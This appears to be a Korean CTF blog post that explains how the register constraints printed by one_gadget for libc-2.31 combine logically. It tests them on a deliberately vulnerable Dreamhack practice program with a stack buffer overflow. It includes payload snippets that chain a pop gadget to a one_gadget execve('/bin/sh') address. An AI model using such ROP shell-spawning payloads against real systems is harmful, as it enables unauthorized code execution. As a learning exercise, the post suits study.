CTF/CTF_Configuration

One_gadget Constraints (원가젯 제약조건) 해석하기

JUNFUTURE 2022. 2. 9. 21:18

one_gadget 툴을 사용하다보면 출력되는 제약조건이 어떤 뜻인지 헷갈릴때가 있다.

아래와 같은 경우 libc-2.31.so 에 존재하는 constraints를 출력시켜보았는데,

jun@ubuntu:~/jun/CTF_CONFIG/libc-database$ one_gadget /lib/x86_64-linux-gnu/libc-2.31.so
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL 
  [rdx] == NULL || rdx == NULL

위와 같이

[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

와 같은 형식으로 표현되는 경우, 어떤 논리 관계인지 알아보기 힘들다.

이에 실험을 진행해보았다.

 

테스트용 코드

테스트용 코드는 dreamhack.io의 basic_exploitation_x64 파일을 이용했다.

//basic_rop_x64.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

 

가젯을 이용해 constraints를 맞추어주며 one_gadget을 실행여부를 확인해보자.

 

Constraints 만족시키기위한 가젯 찾기

위에서 찾은 one_gadget의 constraints에서 언급된

r15, r12, rsi, rdx

를 설정해줄 수 있는 (pop ~) 가젯들을 찾아보았다.

 

pop r15

pop r12

pop rsi

 

가젯들을 찾았다.

(rdx 가젯은 없었다.)

[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

이에 위 one_gadget을 이용해 테스트를 진행했다.

1. r15 != NULL and r12 == NULL
2. r15 == NULL and r12 == NULL

 

두가지를 진행해보았으며, 결론적으로 r15 == NULL and r12 == NULL 의 경우만 실행되었다.

 

Gadget 실행가능시점 (main함수 RET) 에서의 레지스터 상태

위와 같이 main함수가 리턴하는 순간 (이때 ret 주소를 오버플로우를 이용해 gadget 주소로 변경한다.)
의 레지스터 상태를 살펴보았다.

r15 : 0x0

r12 : 0x400650

rdx : 0x40

rsi : 0x7fff25856760

 

이었다.

그러면 [r15] == 0은 만족아닐까?

 

[r15] vs r15의 차이 :

전자는 해당 레지스터 값이 가리키고있는 주소의 값

후자는 해당 레지스터 값

이라고 알고있는데, 가젯으로 제약조건을 맞춰줘야하는 상황 (pop r15) 에서는

r15를 0으로 만들어주는게 훨씬 편하다.

 

#Case 1

r15 != NULL and r12 == NULL

payload = b"A"*buf2sfp
payload += p64(pop_r12_r13_r14_r15)
payload += p64(0) // r12 == NULL
payload += p64(0)
payload += p64(0)
payload += p64(40) // r15 != NULL
payload += p64(og_addr)

안된다.

 

#Case 2

r15 == NULL and r12 == NULL

payload = b"A"*buf2sfp
payload += p64(pop_r12_r13_r14_r15)
payload += p64(0) // r12 == NULL
payload += p64(0)
payload += p64(0)
payload += p64(0) // r15 == NULL
payload += p64(og_addr)

r12를 0을 만들어주니 성공했다.

r15가 0이 아니면 실패한다.

 

결론적으로 

[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

따위로 표현된 제약조건은

([r15] == NULL or r15 == NULL) and ([r12] == NULL or r12 == NULL)

인 것 같다.